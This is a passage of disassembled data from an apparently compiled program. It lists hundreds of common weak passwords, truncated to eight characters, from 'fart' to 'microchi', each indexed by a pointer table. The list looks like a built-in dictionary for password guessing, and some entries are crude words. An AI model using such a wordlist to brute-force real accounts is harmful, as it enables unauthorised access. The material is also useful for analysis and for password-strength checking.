		align 10h
aMicrochi	db 'microchi',0         ; DATA XREF: seg002:00423628o
		align 4
aMicro		db 'micro',0            ; DATA XREF: seg002:00423624o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: seg002:00423620o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: seg002:0042361Co
		align 4
aMichele	db 'michele',0          ; DATA XREF: seg002:00423618o
aMichelan	db 'michelan',0         ; DATA XREF: seg002:00423614o
		align 4
aMichel		db 'michel',0           ; DATA XREF: seg002:00423610o
		align 4
aMichael	db 'michael',0          ; DATA XREF: seg002:0042360Co
aMice		db 'mice',0             ; DATA XREF: seg002:00423608o
		align 4
aMets		db 'mets',0             ; DATA XREF: seg002:00423604o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: seg002:00423600o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: seg002:004235FCo
		align 4
aMetal		db 'metal',0            ; DATA XREF: seg002:004235F8o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: seg002:004235F4o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: seg002:004235F0o
aMenu		db 'menu',0             ; DATA XREF: seg002:004235ECo
		align 4
aMenace		db 'menace',0           ; DATA XREF: seg002:004235E8o
		align 4
aMemory		db 'memory',0           ; DATA XREF: seg002:004235E4o
		align 4
aMember		db 'member',0           ; DATA XREF: seg002:004235E0o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: seg002:004235DCo
aMellon		db 'mellon',0           ; DATA XREF: seg002:004235D8o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: seg002:004235D4o
aMegan		db 'megan',0            ; DATA XREF: seg002:004235D0o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: seg002:004235CCo
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: seg002:004235C8o
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: seg002:004235C4o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: seg002:004235C0o
aMath		db 'math',0             ; DATA XREF: seg002:004235BCo
		align 4
aMaster		db 'master',0           ; DATA XREF: seg002:004235B8o
		align 4
aMason		db 'mason',0            ; DATA XREF: seg002:004235B4o
		align 4
aMary		db 'mary',0             ; DATA XREF: seg002:004235B0o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: seg002:004235ACo
		align 4
aMarty		db 'marty',0            ; DATA XREF: seg002:004235A8o
		align 4
aMars		db 'mars',0             ; DATA XREF: seg002:004235A4o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: seg002:004235A0o
		align 4
aMarni		db 'marni',0            ; DATA XREF: seg002:0042359Co
		align 10h
aMarkus		db 'markus',0           ; DATA XREF: seg002:00423598o
		align 4
aMark		db 'mark',0             ; DATA XREF: seg002:00423594o
		align 10h
aMarines	db 'marines',0          ; DATA XREF: seg002:00423590o
aMarijuan	db 'marijuan',0         ; DATA XREF: seg002:0042358Co
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: seg002:00423588o
		align 10h
aMariens	db 'mariens',0          ; DATA XREF: seg002:00423584o
aMaria		db 'maria',0            ; DATA XREF: seg002:00423580o
		align 10h
aMarcy		db 'marcy',0            ; DATA XREF: seg002:0042357Co
		align 4
aMarci		db 'marci',0            ; DATA XREF: seg002:00423578o
		align 10h
aMara		db 'mara',0             ; DATA XREF: seg002:00423574o
		align 4
aManager	db 'manager',0          ; DATA XREF: seg002:00423570o
aMana		db 'mana',0             ; DATA XREF: seg002:0042356Co
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: seg002:00423568o
		align 10h
aMalcolm	db 'malcolm',0          ; DATA XREF: seg002:00423564o
aMaint		db 'maint',0            ; DATA XREF: seg002:00423560o
		align 10h
aMail		db 'mail',0             ; DATA XREF: seg002:0042355Co
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: seg002:00423558o
		align 10h
aMagic		db 'magic',0            ; DATA XREF: seg002:00423554o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: seg002:00423550o
		align 10h
aMacro		db 'macro',0            ; DATA XREF: seg002:0042354Co
		align 4
aMack		db 'mack',0             ; DATA XREF: seg002:00423548o
		align 10h
aMacintos	db 'macintos',0         ; DATA XREF: seg002:00423544o
		align 4
aMachine	db 'machine',0          ; DATA XREF: seg002:00423540o
aLynne		db 'lynne',0            ; DATA XREF: seg002:0042353Co
		align 4
aLynn		db 'lynn',0             ; DATA XREF: seg002:00423538o
		align 4
aLust		db 'lust',0             ; DATA XREF: seg002:00423534o
		align 4
aLuke		db 'luke',0             ; DATA XREF: seg002:00423530o
		align 4
aLude		db 'lude',0             ; DATA XREF: seg002:0042352Co
		align 4
aLucy		db 'lucy',0             ; DATA XREF: seg002:00423528o
		align 4
aLucus		db 'lucus',0            ; DATA XREF: seg002:00423524o
		align 4
aLuck		db 'luck',0             ; DATA XREF: seg002:00423520o
		align 4
aLover		db 'lover',0            ; DATA XREF: seg002:0042351Co
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: seg002:00423518o
aLouis		db 'louis',0            ; DATA XREF: seg002:00423514o
		align 4
aLoser		db 'loser',0            ; DATA XREF: seg002:00423510o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: seg002:0042350Co
		align 10h
aLorin		db 'lorin',0            ; DATA XREF: seg002:00423508o
		align 4
aLori		db 'lori',0             ; DATA XREF: seg002:00423504o
		align 10h
aLore		db 'lore',0             ; DATA XREF: seg002:00423500o
		align 4
aLoose		db 'loose',0            ; DATA XREF: seg002:004234FCo
		align 10h
aLolopc		db 'lolopc',0           ; DATA XREF: seg002:004234F8o
		align 4
aLois		db 'lois',0             ; DATA XREF: seg002:004234F4o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: seg002:004234F0o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: seg002:004234ECo
		align 4
aLogic		db 'logic',0            ; DATA XREF: seg002:004234E8o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: seg002:004234E4o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: seg002:004234E0o
aLock		db 'lock',0             ; DATA XREF: seg002:004234DCo
		align 4
aLoad		db 'load',0             ; DATA XREF: seg002:004234D8o
		align 10h
aLive		db 'live',0             ; DATA XREF: seg002:004234D4o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: seg002:004234D0o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: seg002:004234CCo
		align 4
aLisa		db 'lisa',0             ; DATA XREF: seg002:004234C8o
		align 4
aLips		db 'lips',0             ; DATA XREF: seg002:004234C4o
		align 4
aLion		db 'lion',0             ; DATA XREF: seg002:004234C0o
		align 4
aLink		db 'link',0             ; DATA XREF: seg002:004234BCo
		align 4
aLinda		db 'linda',0            ; DATA XREF: seg002:004234B8o
		align 4
aLimited	db 'limited',0          ; DATA XREF: seg002:004234B4o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: seg002:004234B0o
		align 4
aLima		db 'lima',0             ; DATA XREF: seg002:004234ACo
		align 10h
aLightsab	db 'lightsab',0         ; DATA XREF: seg002:004234A8o
		align 4
aLight		db 'light',0            ; DATA XREF: seg002:004234A4o
		align 4
aLife		db 'life',0             ; DATA XREF: seg002:004234A0o
		align 4
aLicker		db 'licker',0           ; DATA XREF: seg002:0042349Co
		align 4
aLick		db 'lick',0             ; DATA XREF: seg002:00423498o
		align 4
aLibrary	db 'library',0          ; DATA XREF: seg002:00423494o
aLiberal	db 'liberal',0          ; DATA XREF: seg002:00423490o
aLexluthe	db 'lexluthe',0         ; DATA XREF: seg002:0042348Co
		align 4
aLewis		db 'lewis',0            ; DATA XREF: seg002:00423488o
		align 10h
aLetmein	db 'letmein',0          ; DATA XREF: seg002:00423484o
aLeslie		db 'leslie',0           ; DATA XREF: seg002:00423480o
		align 10h
aLesbian	db 'lesbian',0          ; DATA XREF: seg002:0042347Co
aLeroy		db 'leroy',0            ; DATA XREF: seg002:00423478o
		align 10h
aLeland		db 'leland',0           ; DATA XREF: seg002:00423474o
		align 4
aLegal		db 'legal',0            ; DATA XREF: seg002:00423470o
		align 10h
aLeftwing	db 'leftwing',0         ; DATA XREF: seg002:0042346Co
		align 4
aLeft		db 'left',0             ; DATA XREF: seg002:00423468o
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: seg002:00423464o
		align 10h
aLeah		db 'leah',0             ; DATA XREF: seg002:00423460o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: seg002:0042345Co
		align 10h
aLazarus	db 'lazarus',0          ; DATA XREF: seg002:00423458o
aLava		db 'lava',0             ; DATA XREF: seg002:00423454o
		align 10h
aLaura		db 'laura',0            ; DATA XREF: seg002:00423450o
		align 4
aLaser		db 'laser',0            ; DATA XREF: seg002:0042344Co
		align 10h
aLarry		db 'larry',0            ; DATA XREF: seg002:00423448o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: seg002:00423444o
		align 10h
aLara		db 'lara',0             ; DATA XREF: seg002:00423440o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: seg002:0042343Co
		align 10h
aLana		db 'lana',0             ; DATA XREF: seg002:00423438o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: seg002:00423434o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: seg002:00423430o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: seg002:0042342Co
		align 4
aLadle		db 'ladle',0            ; DATA XREF: seg002:00423428o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: seg002:00423424o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: seg002:00423420o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: seg002:0042341Co
		align 4
aKristin	db 'kristin',0          ; DATA XREF: seg002:00423418o
aKristie	db 'kristie',0          ; DATA XREF: seg002:00423414o
aKristi		db 'kristi',0           ; DATA XREF: seg002:00423410o
		align 10h
aKristen	db 'kristen',0          ; DATA XREF: seg002:0042340Co
aKrista		db 'krista',0           ; DATA XREF: seg002:00423408o
		align 10h
aKnown		db 'known',0            ; DATA XREF: seg002:00423404o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: seg002:00423400o
		align 4
aKnight		db 'knight',0           ; DATA XREF: seg002:004233FCo
		align 4
aKnife		db 'knife',0            ; DATA XREF: seg002:004233F8o
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: seg002:004233F4o
aKitten		db 'kitten',0           ; DATA XREF: seg002:004233F0o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: seg002:004233ECo
		align 10h
aKiss		db 'kiss',0             ; DATA XREF: seg002:004233E8o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: seg002:004233E4o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: seg002:004233E0o
		align 4
aKing		db 'king',0             ; DATA XREF: seg002:004233DCo
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: seg002:004233D8o
		align 10h
aKilo		db 'kilo',0             ; DATA XREF: seg002:004233D4o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: seg002:004233D0o
		align 4
aKill		db 'kill',0             ; DATA XREF: seg002:004233CCo
		align 4
aKids		db 'kids',0             ; DATA XREF: seg002:004233C8o
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: seg002:004233C4o
aKeyin		db 'keyin',0            ; DATA XREF: seg002:004233C0o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: seg002:004233BCo
aKewl		db 'kewl',0             ; DATA XREF: seg002:004233B8o
		align 4
aKevin		db 'kevin',0            ; DATA XREF: seg002:004233B4o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: seg002:004233B0o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: seg002:004233ACo
		align 4
aKerri		db 'kerri',0            ; DATA XREF: seg002:004233A8o
		align 4
aKernel		db 'kernel',0           ; DATA XREF: seg002:004233A4o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: seg002:004233A0o
		align 4
aKeri		db 'keri',0             ; DATA XREF: seg002:0042339Co
		align 4
aKelly		db 'kelly',0            ; DATA XREF: seg002:00423398o
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: seg002:00423394o
aKatina		db 'katina',0           ; DATA XREF: seg002:00423390o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: seg002:0042338Co
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: seg002:00423388o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: seg002:00423384o
		align 4
aKate		db 'kate',0             ; DATA XREF: seg002:00423380o
		align 4
aKatana		db 'katana',0           ; DATA XREF: seg002:0042337Co
		align 4
aKarina		db 'karina',0           ; DATA XREF: seg002:00423378o
		align 4
aKarie		db 'karie',0            ; DATA XREF: seg002:00423374o
		align 4
aKaren		db 'karen',0            ; DATA XREF: seg002:00423370o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: seg002:0042336Co
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: seg002:00423368o
aJune		db 'june',0             ; DATA XREF: seg002:00423364o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: seg002:00423360o
		align 4
aJulie		db 'julie',0            ; DATA XREF: seg002:0042335Co
		align 4
aJulia		db 'julia',0            ; DATA XREF: seg002:00423358o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: seg002:00423354o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: seg002:00423350o
		align 4
aJudy		db 'judy',0             ; DATA XREF: seg002:0042334Co
		align 4
aJudith		db 'judith',0           ; DATA XREF: seg002:00423348o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: seg002:00423344o
		align 4
aJournal	db 'journal',0          ; DATA XREF: seg002:00423340o
aJoshua		db 'joshua',0           ; DATA XREF: seg002:0042333Co
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: seg002:00423338o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: seg002:00423334o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: seg002:00423330o
aJohn		db 'john',0             ; DATA XREF: seg002:0042332Co
		align 4
aJody		db 'jody',0             ; DATA XREF: seg002:00423328o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: seg002:00423324o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: seg002:00423320o
		align 4
aJill		db 'jill',0             ; DATA XREF: seg002:0042331Co
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: seg002:00423318o
aJester		db 'jester',0           ; DATA XREF: seg002:00423314o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: seg002:00423310o
aJerusale	db 'jerusale',0         ; DATA XREF: seg002:0042330Co
		align 4
aJerry		db 'jerry',0            ; DATA XREF: seg002:00423308o
		align 10h
aJenny		db 'jenny',0            ; DATA XREF: seg002:00423304o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: seg002:00423300o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: seg002:004232FCo
		align 4
aJeff		db 'jeff',0             ; DATA XREF: seg002:004232F8o
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: seg002:004232F4o
		align 4
aJean		db 'jean',0             ; DATA XREF: seg002:004232F0o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: seg002:004232ECo
		align 4
aJava		db 'java',0             ; DATA XREF: seg002:004232E8o
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: seg002:004232E4o
		align 4
aJapan		db 'japan',0            ; DATA XREF: seg002:004232E0o
		align 4
aJanie		db 'janie',0            ; DATA XREF: seg002:004232DCo
		align 4
aJanice		db 'janice',0           ; DATA XREF: seg002:004232D8o
		align 4
aJanet		db 'janet',0            ; DATA XREF: seg002:004232D4o
		align 4
aJane		db 'jane',0             ; DATA XREF: seg002:004232D0o
		align 4
aJail		db 'jail',0             ; DATA XREF: seg002:004232CCo
		align 4
aJackie		db 'jackie',0           ; DATA XREF: seg002:004232C8o
		align 4
aIsis		db 'isis',0             ; DATA XREF: seg002:004232C4o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: seg002:004232C0o
		align 4
aIrene		db 'irene',0            ; DATA XREF: seg002:004232BCo
		align 10h
aInvent		db 'invent',0           ; DATA XREF: seg002:004232B8o
		align 4
aInteger	db 'integer',0          ; DATA XREF: seg002:004232B4o
aInside		db 'inside',0           ; DATA XREF: seg002:004232B0o
		align 4
aInput		db 'input',0            ; DATA XREF: seg002:004232ACo
		align 10h
aInnocuou	db 'innocuou',0         ; DATA XREF: seg002:004232A8o
		align 4
aInna		db 'inna',0             ; DATA XREF: seg002:004232A4o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: seg002:004232A0o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: seg002:0042329Co
aIngres		db 'ingres',0           ; DATA XREF: seg002:00423298o
		align 4
aIndians	db 'indians',0          ; DATA XREF: seg002:00423294o
aIndiana	db 'indiana',0          ; DATA XREF: seg002:00423290o
aIndian		db 'indian',0           ; DATA XREF: seg002:0042328Co
		align 4
aIndia		db 'india',0            ; DATA XREF: seg002:00423288o
		align 4
aInclude	db 'include',0          ; DATA XREF: seg002:00423284o
aImperial	db 'imperial',0         ; DATA XREF: seg002:00423280o
		align 10h
aImmortal	db 'immortal',0         ; DATA XREF: seg002:0042327Co
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: seg002:00423278o
		align 4
aImage		db 'image',0            ; DATA XREF: seg002:00423274o
		align 10h
aIllumina	db 'illumina',0         ; DATA XREF: seg002:00423270o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: seg002:0042326Co
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: seg002:00423268o
		align 4
aHyper		db 'hyper',0            ; DATA XREF: seg002:00423264o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: seg002:00423260o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: seg002:0042325Co
		align 4
aHunter		db 'hunter',0           ; DATA XREF: seg002:00423258o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: seg002:00423254o
		align 4
aHttp		db 'http',0             ; DATA XREF: seg002:00423250o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: seg002:0042324Co
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: seg002:00423248o
		align 4
aHost		db 'host',0             ; DATA XREF: seg002:00423244o
		align 4
aHorus		db 'horus',0            ; DATA XREF: seg002:00423240o
		align 4
aHorse		db 'horse',0            ; DATA XREF: seg002:0042323Co
		align 4
aHorror		db 'horror',0           ; DATA XREF: seg002:00423238o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: seg002:00423234o
		align 4
aHorny		db 'horny',0            ; DATA XREF: seg002:00423230o
		align 10h
aHooters	db 'hooters',0          ; DATA XREF: seg002:0042322Co
aHooker		db 'hooker',0           ; DATA XREF: seg002:00423228o
		align 10h
aHoney		db 'honey',0            ; DATA XREF: seg002:00423224o
		align 4
aHomework	db 'homework',0         ; DATA XREF: seg002:00423220o
		align 4
aHomer		db 'homer',0            ; DATA XREF: seg002:0042321Co
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: seg002:00423218o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: seg002:00423214o
		align 4
aHolly		db 'holly',0            ; DATA XREF: seg002:00423210o
		align 4
aHole		db 'hole',0             ; DATA XREF: seg002:0042320Co
		align 4
aHits		db 'hits',0             ; DATA XREF: seg002:00423208o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: seg002:00423204o
		align 4
aHighland	db 'highland',0         ; DATA XREF: seg002:00423200o
		align 10h
aHigh		db 'high',0             ; DATA XREF: seg002:004231FCo
		align 4
aHidden		db 'hidden',0           ; DATA XREF: seg002:004231F8o
		align 10h
aHibernia	db 'hibernia',0         ; DATA XREF: seg002:004231F4o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: seg002:004231F0o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: seg002:004231ECo
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: seg002:004231E8o
aHeroin		db 'heroin',0           ; DATA XREF: seg002:004231E4o
		align 4
aHero		db 'hero',0             ; DATA XREF: seg002:004231E0o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: seg002:004231DCo
aHerb		db 'herb',0             ; DATA XREF: seg002:004231D8o
		align 4
aHelp		db 'help',0             ; DATA XREF: seg002:004231D4o
		align 4
aHello		db 'hello',0            ; DATA XREF: seg002:004231D0o
		align 4
aHell		db 'hell',0             ; DATA XREF: seg002:004231CCo
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: seg002:004231C8o
		align 10h
aHeidi		db 'heidi',0            ; DATA XREF: seg002:004231C4o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: seg002:004231C0o
		align 4
aHeather	db 'heather',0          ; DATA XREF: seg002:004231BCo
aHeathen	db 'heathen',0          ; DATA XREF: seg002:004231B8o
aHeat		db 'heat',0             ; DATA XREF: seg002:004231B4o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: seg002:004231B0o
		align 4
aHead		db 'head',0             ; DATA XREF: seg002:004231ACo
		align 10h
aHawaii		db 'hawaii',0           ; DATA XREF: seg002:004231A8o
		align 4
aHaven		db 'haven',0            ; DATA XREF: seg002:004231A4o
		align 10h
aHate		db 'hate',0             ; DATA XREF: seg002:004231A0o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: seg002:0042319Co
		align 10h
aHarold		db 'harold',0           ; DATA XREF: seg002:00423198o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: seg002:00423194o
aHarddriv	db 'harddriv',0         ; DATA XREF: seg002:00423190o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: seg002:0042318Co
		align 4
aHard		db 'hard',0             ; DATA XREF: seg002:00423188o
		align 10h
aHappenin	db 'happenin',0         ; DATA XREF: seg002:00423184o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: seg002:00423180o
aHandily	db 'handily',0          ; DATA XREF: seg002:0042317Co
aHandel		db 'handel',0           ; DATA XREF: seg002:00423178o
		align 4
aHamster	db 'hamster',0          ; DATA XREF: seg002:00423174o
aHamlet		db 'hamlet',0           ; DATA XREF: seg002:00423170o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: seg002:0042316Co
		align 10h
aHair		db 'hair',0             ; DATA XREF: seg002:00423168o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: seg002:00423164o
		align 10h
aHacked		db 'hacked',0           ; DATA XREF: seg002:00423160o
		align 4
aHack		db 'hack',0             ; DATA XREF: seg002:0042315Co
		align 10h
aGuntis		db 'guntis',0           ; DATA XREF: seg002:00423158o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: seg002:00423154o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: seg002:00423150o
		align 4
aGuess		db 'guess',0            ; DATA XREF: seg002:0042314Co
		align 4
aGucci		db 'gucci',0            ; DATA XREF: seg002:00423148o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: seg002:00423144o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: seg002:00423140o
aGroup		db 'group',0            ; DATA XREF: seg002:0042313Co
		align 4
aGreen		db 'green',0            ; DATA XREF: seg002:00423138o
		align 10h
aGreat		db 'great',0            ; DATA XREF: seg002:00423134o
		align 4
aGrant		db 'grant',0            ; DATA XREF: seg002:00423130o
		align 10h
aGrand		db 'grand',0            ; DATA XREF: seg002:0042312Co
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: seg002:00423128o
		align 10h
aGraham		db 'graham',0           ; DATA XREF: seg002:00423124o
		align 4
aGrades		db 'grades',0           ; DATA XREF: seg002:00423120o
		align 10h
aGovermen	db 'govermen',0         ; DATA XREF: seg002:0042311Co
		align 4
aGouge		db 'gouge',0            ; DATA XREF: seg002:00423118o
		align 4
aGosling	db 'gosling',0          ; DATA XREF: seg002:00423114o
aGorges		db 'gorges',0           ; DATA XREF: seg002:00423110o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: seg002:0042310Co
		align 10h
aGood		db 'good',0             ; DATA XREF: seg002:00423108o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: seg002:00423104o
		align 10h
aGolf		db 'golf',0             ; DATA XREF: seg002:00423100o
		align 4
aGolden		db 'golden',0           ; DATA XREF: seg002:004230FCo
		align 10h
aGold		db 'gold',0             ; DATA XREF: seg002:004230F8o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: seg002:004230F4o
aGirl		db 'girl',0             ; DATA XREF: seg002:004230F0o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: seg002:004230ECo
		align 10h
aGina		db 'gina',0             ; DATA XREF: seg002:004230E8o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: seg002:004230E4o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: seg002:004230E0o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: seg002:004230DCo
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: seg002:004230D8o
		align 10h
aGerm		db 'germ',0             ; DATA XREF: seg002:004230D4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: seg002:004230D0o
		align 10h
aGauss		db 'gauss',0            ; DATA XREF: seg002:004230CCo
		align 4
aGatt		db 'gatt',0             ; DATA XREF: seg002:004230C8o
		align 10h
aGatherin	db 'gatherin',0         ; DATA XREF: seg002:004230C4o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: seg002:004230C0o
aGarfield	db 'garfield',0         ; DATA XREF: seg002:004230BCo
		align 10h
aGardner	db 'gardner',0          ; DATA XREF: seg002:004230B8o
aGames		db 'games',0            ; DATA XREF: seg002:004230B4o
		align 10h
aGabriel	db 'gabriel',0          ; DATA XREF: seg002:004230B0o
aFungible	db 'fungible',0         ; DATA XREF: seg002:004230ACo
		align 4
aFunction	db 'function',0         ; DATA XREF: seg002:004230A8o
		align 10h
aFudge		db 'fudge',0            ; DATA XREF: seg002:004230A4o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: seg002:004230A0o
aFuckme		db 'fuckme',0           ; DATA XREF: seg002:0042309Co
		align 4
aFucking	db 'fucking',0          ; DATA XREF: seg002:00423098o
aFucker		db 'fucker',0           ; DATA XREF: seg002:00423094o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: seg002:00423090o
		align 10h
aFryguy		db 'fryguy',0           ; DATA XREF: seg002:0042308Co
		align 4
aFrog		db 'frog',0             ; DATA XREF: seg002:00423088o
		align 10h
aFrighten	db 'frighten',0         ; DATA XREF: seg002:00423084o
		align 4
aFriends	db 'friends',0          ; DATA XREF: seg002:00423080o
aFriend		db 'friend',0           ; DATA XREF: seg002:0042307Co
		align 4
aFriday		db 'friday',0           ; DATA XREF: seg002:00423078o
		align 4
aFrench		db 'french',0           ; DATA XREF: seg002:00423074o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: seg002:00423070o
aFree		db 'free',0             ; DATA XREF: seg002:0042306Co
		align 4
aFred		db 'fred',0             ; DATA XREF: seg002:00423068o
		align 4
aFreak		db 'freak',0            ; DATA XREF: seg002:00423064o
		align 4
aFrank		db 'frank',0            ; DATA XREF: seg002:00423060o
		align 4
aFrance		db 'france',0           ; DATA XREF: seg002:0042305Co
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: seg002:00423058o
aFourier	db 'fourier',0          ; DATA XREF: seg002:00423054o
aForsythe	db 'forsythe',0         ; DATA XREF: seg002:00423050o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: seg002:0042304Co
		align 4
aFormat		db 'format',0           ; DATA XREF: seg002:00423048o
		align 4
aForm		db 'form',0             ; DATA XREF: seg002:00423044o
		align 4
aForever	db 'forever',0          ; DATA XREF: seg002:00423040o
aForesigh	db 'foresigh',0         ; DATA XREF: seg002:0042303Co
		align 4
aFord		db 'ford',0             ; DATA XREF: seg002:00423038o
		align 10h
aForce		db 'force',0            ; DATA XREF: seg002:00423034o
		align 4
aFootball	db 'football',0         ; DATA XREF: seg002:00423030o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: seg002:0042302Co
		align 10h
aFool		db 'fool',0             ; DATA XREF: seg002:00423028o
		align 4
aFood		db 'food',0             ; DATA XREF: seg002:00423024o
		align 10h
aFlowers	db 'flowers',0          ; DATA XREF: seg002:00423020o
aFlower		db 'flower',0           ; DATA XREF: seg002:0042301Co
		align 10h
aFlorida	db 'florida',0          ; DATA XREF: seg002:00423018o
aFloat		db 'float',0            ; DATA XREF: seg002:00423014o
		align 10h
aFlakes		db 'flakes',0           ; DATA XREF: seg002:00423010o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: seg002:0042300Co
aFirewall	db 'firewall',0         ; DATA XREF: seg002:00423008o
		align 4
aFire		db 'fire',0             ; DATA XREF: seg002:00423004o
		align 4
aFinite		db 'finite',0           ; DATA XREF: seg002:00423000o
		align 4
aFile		db 'file',0             ; DATA XREF: seg002:00422FFCo
		align 4
aFight		db 'fight',0            ; DATA XREF: seg002:00422FF8o
		align 4
aField		db 'field',0            ; DATA XREF: seg002:00422FF4o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: seg002:00422FF0o
		align 10h
aFerrari	db 'ferrari',0          ; DATA XREF: seg002:00422FECo
aFermat		db 'fermat',0           ; DATA XREF: seg002:00422FE8o
		align 10h
aFender		db 'fender',0           ; DATA XREF: seg002:00422FE4o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: seg002:00422FE0o
aFeds		db 'feds',0             ; DATA XREF: seg002:00422FDCo
		align 4
aFear		db 'fear',0             ; DATA XREF: seg002:00422FD8o
		align 10h
aFast		db 'fast',0             ; DATA XREF: seg002:00422FD4o
		align 4
aFart		db 'fart',0             ; DATA XREF: seg002:00422FD0o
		align 10h
